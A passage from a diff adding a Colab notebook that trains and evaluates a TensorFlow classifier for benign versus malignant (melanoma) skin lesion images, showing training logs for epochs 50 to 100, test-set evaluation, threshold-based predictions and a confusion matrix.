+            "Epoch 50/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2502 - accuracy: 0.8997\n",
+            "Epoch 50: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2502 - accuracy: 0.8997 - val_loss: 0.4149 - val_accuracy: 0.8125\n",
+            "Epoch 51/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2632 - accuracy: 0.8896\n",
+            "Epoch 51: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.2632 - accuracy: 0.8896 - val_loss: 0.4606 - val_accuracy: 0.8203\n",
+            "Epoch 52/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2626 - accuracy: 0.8942\n",
+            "Epoch 52: val_loss improved from 0.40612 to 0.39894, saving model to benign-vs-malignant_64_rmsprop_0.399.h5\n",
+            "31/31 [==============================] - 9s 293ms/step - loss: 0.2626 - accuracy: 0.8942 - val_loss: 0.3989 - val_accuracy: 0.8203\n",
+            "Epoch 53/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2581 - accuracy: 0.8916\n",
+            "Epoch 53: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.2581 - accuracy: 0.8916 - val_loss: 0.4447 - val_accuracy: 0.8047\n",
+            "Epoch 54/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2616 - accuracy: 0.8871\n",
+            "Epoch 54: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 259ms/step - loss: 0.2616 - accuracy: 0.8871 - val_loss: 0.4669 - val_accuracy: 0.7812\n",
+            "Epoch 55/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2447 - accuracy: 0.9047\n",
+            "Epoch 55: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 260ms/step - loss: 0.2447 - accuracy: 0.9047 - val_loss: 0.4541 - val_accuracy: 0.8203\n",
+            "Epoch 56/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2528 - accuracy: 0.8957\n",
+            "Epoch 56: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 276ms/step - loss: 0.2528 - accuracy: 0.8957 - val_loss: 0.4566 - val_accuracy: 0.8125\n",
+            "Epoch 57/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2607 - accuracy: 0.8896\n",
+            "Epoch 57: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.2607 - accuracy: 0.8896 - val_loss: 0.4610 - val_accuracy: 0.7891\n",
+            "Epoch 58/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2421 - accuracy: 0.9032\n",
+            "Epoch 58: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2421 - accuracy: 0.9032 - val_loss: 0.4054 - val_accuracy: 0.8203\n",
+            "Epoch 59/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2625 - accuracy: 0.8906\n",
+            "Epoch 59: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 259ms/step - loss: 0.2625 - accuracy: 0.8906 - val_loss: 0.5048 - val_accuracy: 0.7812\n",
+            "Epoch 60/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2352 - accuracy: 0.9017\n",
+            "Epoch 60: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 279ms/step - loss: 0.2352 - accuracy: 0.9017 - val_loss: 0.4740 - val_accuracy: 0.7969\n",
+            "Epoch 61/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2719 - accuracy: 0.8831\n",
+            "Epoch 61: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2719 - accuracy: 0.8831 - val_loss: 0.4452 - val_accuracy: 0.8125\n",
+            "Epoch 62/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2381 - accuracy: 0.9032\n",
+            "Epoch 62: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 260ms/step - loss: 0.2381 - accuracy: 0.9032 - val_loss: 0.4981 - val_accuracy: 0.8203\n",
+            "Epoch 63/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2597 - accuracy: 0.8972\n",
+            "Epoch 63: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 261ms/step - loss: 0.2597 - accuracy: 0.8972 - val_loss: 0.4142 - val_accuracy: 0.8047\n",
+            "Epoch 64/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2454 - accuracy: 0.9068\n",
+            "Epoch 64: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 261ms/step - loss: 0.2454 - accuracy: 0.9068 - val_loss: 0.5029 - val_accuracy: 0.8047\n",
+            "Epoch 65/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2521 - accuracy: 0.8936\n",
+            "Epoch 65: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 279ms/step - loss: 0.2521 - accuracy: 0.8936 - val_loss: 0.4601 - val_accuracy: 0.8438\n",
+            "Epoch 66/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2419 - accuracy: 0.9042\n",
+            "Epoch 66: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2419 - accuracy: 0.9042 - val_loss: 0.4847 - val_accuracy: 0.8359\n",
+            "Epoch 67/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2425 - accuracy: 0.9022\n",
+            "Epoch 67: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 261ms/step - loss: 0.2425 - accuracy: 0.9022 - val_loss: 0.5090 - val_accuracy: 0.8125\n",
+            "Epoch 68/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2441 - accuracy: 0.8957\n",
+            "Epoch 68: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 261ms/step - loss: 0.2441 - accuracy: 0.8957 - val_loss: 0.4995 - val_accuracy: 0.7734\n",
+            "Epoch 69/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2469 - accuracy: 0.8977\n",
+            "Epoch 69: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 259ms/step - loss: 0.2469 - accuracy: 0.8977 - val_loss: 0.4630 - val_accuracy: 0.8281\n",
+            "Epoch 70/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2530 - accuracy: 0.8962\n",
+            "Epoch 70: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2530 - accuracy: 0.8962 - val_loss: 0.4824 - val_accuracy: 0.8047\n",
+            "Epoch 71/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2385 - accuracy: 0.9078\n",
+            "Epoch 71: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 260ms/step - loss: 0.2385 - accuracy: 0.9078 - val_loss: 0.3993 - val_accuracy: 0.8594\n",
+            "Epoch 72/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2505 - accuracy: 0.9022\n",
+            "Epoch 72: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2505 - accuracy: 0.9022 - val_loss: 0.4983 - val_accuracy: 0.8281\n",
+            "Epoch 73/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2357 - accuracy: 0.9022\n",
+            "Epoch 73: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2357 - accuracy: 0.9022 - val_loss: 0.6113 - val_accuracy: 0.8047\n",
+            "Epoch 74/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2467 - accuracy: 0.8942\n",
+            "Epoch 74: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2467 - accuracy: 0.8942 - val_loss: 0.4633 - val_accuracy: 0.8516\n",
+            "Epoch 75/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2425 - accuracy: 0.8977\n",
+            "Epoch 75: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.2425 - accuracy: 0.8977 - val_loss: 0.6210 - val_accuracy: 0.8281\n",
+            "Epoch 76/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2407 - accuracy: 0.9027\n",
+            "Epoch 76: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.2407 - accuracy: 0.9027 - val_loss: 0.7663 - val_accuracy: 0.7891\n",
+            "Epoch 77/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2467 - accuracy: 0.8942\n",
+            "Epoch 77: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 259ms/step - loss: 0.2467 - accuracy: 0.8942 - val_loss: 0.6485 - val_accuracy: 0.8203\n",
+            "Epoch 78/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2432 - accuracy: 0.9047\n",
+            "Epoch 78: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2432 - accuracy: 0.9047 - val_loss: 0.6612 - val_accuracy: 0.8125\n",
+            "Epoch 79/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2379 - accuracy: 0.9068\n",
+            "Epoch 79: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2379 - accuracy: 0.9068 - val_loss: 0.8306 - val_accuracy: 0.7812\n",
+            "Epoch 80/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2315 - accuracy: 0.9108\n",
+            "Epoch 80: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.2315 - accuracy: 0.9108 - val_loss: 0.8280 - val_accuracy: 0.7891\n",
+            "Epoch 81/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2394 - accuracy: 0.9012\n",
+            "Epoch 81: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.2394 - accuracy: 0.9012 - val_loss: 0.7737 - val_accuracy: 0.8047\n",
+            "Epoch 82/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2304 - accuracy: 0.9098\n",
+            "Epoch 82: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.2304 - accuracy: 0.9098 - val_loss: 0.8195 - val_accuracy: 0.7969\n",
+            "Epoch 83/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2290 - accuracy: 0.9098\n",
+            "Epoch 83: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 259ms/step - loss: 0.2290 - accuracy: 0.9098 - val_loss: 0.9229 - val_accuracy: 0.8047\n",
+            "Epoch 84/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2367 - accuracy: 0.9037\n",
+            "Epoch 84: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 260ms/step - loss: 0.2367 - accuracy: 0.9037 - val_loss: 0.8928 - val_accuracy: 0.7969\n",
+            "Epoch 85/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2345 - accuracy: 0.9062\n",
+            "Epoch 85: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.2345 - accuracy: 0.9062 - val_loss: 0.8177 - val_accuracy: 0.8125\n",
+            "Epoch 86/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2342 - accuracy: 0.9042\n",
+            "Epoch 86: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2342 - accuracy: 0.9042 - val_loss: 1.0400 - val_accuracy: 0.7891\n",
+            "Epoch 87/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2329 - accuracy: 0.9083\n",
+            "Epoch 87: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2329 - accuracy: 0.9083 - val_loss: 0.8483 - val_accuracy: 0.8047\n",
+            "Epoch 88/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2246 - accuracy: 0.9143\n",
+            "Epoch 88: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 260ms/step - loss: 0.2246 - accuracy: 0.9143 - val_loss: 1.0015 - val_accuracy: 0.7812\n",
+            "Epoch 89/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2342 - accuracy: 0.9068\n",
+            "Epoch 89: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 260ms/step - loss: 0.2342 - accuracy: 0.9068 - val_loss: 0.7876 - val_accuracy: 0.8125\n",
+            "Epoch 90/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2329 - accuracy: 0.9108\n",
+            "Epoch 90: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 259ms/step - loss: 0.2329 - accuracy: 0.9108 - val_loss: 0.7937 - val_accuracy: 0.8125\n",
+            "Epoch 91/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2320 - accuracy: 0.9103\n",
+            "Epoch 91: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 260ms/step - loss: 0.2320 - accuracy: 0.9103 - val_loss: 0.8469 - val_accuracy: 0.8125\n",
+            "Epoch 92/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2286 - accuracy: 0.9153\n",
+            "Epoch 92: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2286 - accuracy: 0.9153 - val_loss: 0.8626 - val_accuracy: 0.7969\n",
+            "Epoch 93/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2362 - accuracy: 0.9078\n",
+            "Epoch 93: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2362 - accuracy: 0.9078 - val_loss: 0.8275 - val_accuracy: 0.8047\n",
+            "Epoch 94/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2225 - accuracy: 0.9143\n",
+            "Epoch 94: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 261ms/step - loss: 0.2225 - accuracy: 0.9143 - val_loss: 0.9085 - val_accuracy: 0.8047\n",
+            "Epoch 95/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2291 - accuracy: 0.9083\n",
+            "Epoch 95: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.2291 - accuracy: 0.9083 - val_loss: 0.7826 - val_accuracy: 0.8203\n",
+            "Epoch 96/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2272 - accuracy: 0.9103\n",
+            "Epoch 96: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 259ms/step - loss: 0.2272 - accuracy: 0.9103 - val_loss: 0.8306 - val_accuracy: 0.8047\n",
+            "Epoch 97/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2330 - accuracy: 0.9133\n",
+            "Epoch 97: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 8s 261ms/step - loss: 0.2330 - accuracy: 0.9133 - val_loss: 0.7418 - val_accuracy: 0.8203\n",
+            "Epoch 98/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2207 - accuracy: 0.9128\n",
+            "Epoch 98: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 281ms/step - loss: 0.2207 - accuracy: 0.9128 - val_loss: 0.9743 - val_accuracy: 0.7734\n",
+            "Epoch 99/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2284 - accuracy: 0.9083\n",
+            "Epoch 99: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 279ms/step - loss: 0.2284 - accuracy: 0.9083 - val_loss: 0.8099 - val_accuracy: 0.7891\n",
+            "Epoch 100/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2168 - accuracy: 0.9178\n",
+            "Epoch 100: val_loss did not improve from 0.39894\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.2168 - accuracy: 0.9178 - val_loss: 0.7417 - val_accuracy: 0.8125\n"
+          ]
+        }
+      ],
+      "source": [
+        "model_name = f\"benign-vs-malignant_{batch_size}_{optimizer}\"\n",
+        "tensorboard = tf.keras.callbacks.TensorBoard(log_dir=os.path.join(\"logs\", model_name))\n",
+        "# saves model checkpoint whenever we reach better weights\n",
+        "modelcheckpoint = tf.keras.callbacks.ModelCheckpoint(model_name + \"_{val_loss:.3f}.h5\", save_best_only=True, verbose=1)\n",
+        "\n",
+        "history = m.fit(train_ds, validation_data=valid_ds, \n",
+        "                steps_per_epoch=n_training_samples // batch_size, \n",
+        "                validation_steps=n_validation_samples // batch_size, verbose=1, epochs=100,\n",
+        "                callbacks=[tensorboard, modelcheckpoint])"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 10,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "RTYp8Ih2onEO",
+        "outputId": "d5b72e61-acdf-450d-adc0-48b51bfd956d"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "Number of testing samples: 600\n"
+          ]
+        }
+      ],
+      "source": [
+        "# evaluation\n",
+        "\n",
+        "# load testing set\n",
+        "test_metadata_filename = \"test.csv\"\n",
+        "df_test = pd.read_csv(test_metadata_filename)\n",
+        "n_testing_samples = len(df_test)\n",
+        "print(\"Number of testing samples:\", n_testing_samples)\n",
+        "test_ds = tf.data.Dataset.from_tensor_slices((df_test[\"filepath\"], df_test[\"label\"]))\n",
+        "\n",
+        "def prepare_for_testing(ds, cache=True, shuffle_buffer_size=1000):\n",
+        "  # This is a small dataset, only load it once, and keep it in memory.\n",
+        "  # use `.cache(filename)` to cache preprocessing work for datasets that don't\n",
+        "  # fit in memory.\n",
+        "  if cache:\n",
+        "    if isinstance(cache, str):\n",
+        "      ds = ds.cache(cache)\n",
+        "    else:\n",
+        "      ds = ds.cache()\n",
+        "\n",
+        "  ds = ds.shuffle(buffer_size=shuffle_buffer_size)\n",
+        "\n",
+        "  return ds\n",
+        "\n",
+        "\n",
+        "test_ds = test_ds.map(process_path)\n",
+        "test_ds = prepare_for_testing(test_ds, cache=\"test-cached-data\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "FXeRz9DQoo07",
+        "outputId": "13083464-d23c-432a-8de1-e52ee06d1af8"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "y_test.shape: (600,)\n"
+          ]
+        }
+      ],
+      "source": [
+        "# convert testing set to numpy array to fit in memory (don't do that when testing\n",
+        "# set is too large)\n",
+        "y_test = np.zeros((n_testing_samples,))\n",
+        "X_test = np.zeros((n_testing_samples, 299, 299, 3))\n",
+        "for i, (img, label) in enumerate(test_ds.take(n_testing_samples)):\n",
+        "  # print(img.shape, label.shape)\n",
+        "  X_test[i] = img\n",
+        "  y_test[i] = label.numpy()\n",
+        "\n",
+        "print(\"y_test.shape:\", y_test.shape)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 12,
+      "metadata": {
+        "id": "4HzOl1TtoqKG"
+      },
+      "outputs": [],
+      "source": [
+        "# load the weights with the least loss\n",
+        "m.load_weights(\"benign-vs-malignant_64_rmsprop_0.399.h5\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 13,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "VVEdeCwmo1q9",
+        "outputId": "79ba51cb-8898-4b33-f564-a9266c3d360d"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "Evaluating the model...\n",
+            "Loss: 0.4762299060821533   Accuracy: 0.7883333563804626\n"
+          ]
+        }
+      ],
+      "source": [
+        "print(\"Evaluating the model...\")\n",
+        "loss, accuracy = m.evaluate(X_test, y_test, verbose=0)\n",
+        "print(\"Loss:\", loss, \"  Accuracy:\", accuracy)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 18,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "GxL5QhIvo3vw",
+        "outputId": "c79525e4-ca14-46de-d31d-2f0016cd879a"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "19/19 [==============================] - 2s 123ms/step\n",
+            "Accuracy after setting the threshold: 0.7883333333333333\n"
+          ]
+        }
+      ],
+      "source": [
+        "from sklearn.metrics import accuracy_score\n",
+        "\n",
+        "def get_predictions(threshold=None):\n",
+        "  \"\"\"\n",
+        "  Returns predictions for binary classification given `threshold`\n",
+        "  For instance, if threshold is 0.3, then it'll output 1 (malignant) for that sample if\n",
+        "  the probability of 1 is 30% or more (instead of 50%)\n",
+        "  \"\"\"\n",
+        "  y_pred = m.predict(X_test)\n",
+        "  if not threshold:\n",
+        "    threshold = 0.5\n",
+        "  result = np.zeros((n_testing_samples,))\n",
+        "  for i in range(n_testing_samples):\n",
+        "    # test melanoma probability\n",
+        "    if y_pred[i][0] >= threshold:\n",
+        "      result[i] = 1\n",
+        "    # else, it's 0 (benign)\n",
+        "  return result\n",
+        "\n",
+        "threshold = 0.23\n",
+        "# get predictions with 23% threshold\n",
+        "# which means if the model is 23% sure or more that is malignant,\n",
+        "# it's assigned as malignant, otherwise it's benign\n",
+        "y_pred = get_predictions(threshold)\n",
+        "accuracy_after = accuracy_score(y_test, y_pred)\n",
+        "print(\"Accuracy after setting the threshold:\", accuracy_after)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 15,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 971
+        },
+        "id": "Ah4rouFBo5LI",
+        "outputId": "c2f62e09-616d-4f3c-8b38-57cccf998cbd"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "[[0.5610766  0.4389234 ]\n",
+            " [0.23931624 0.76068376]]\n"
+          ]
+        },
+        {
+          "data": {
+            "image/png": "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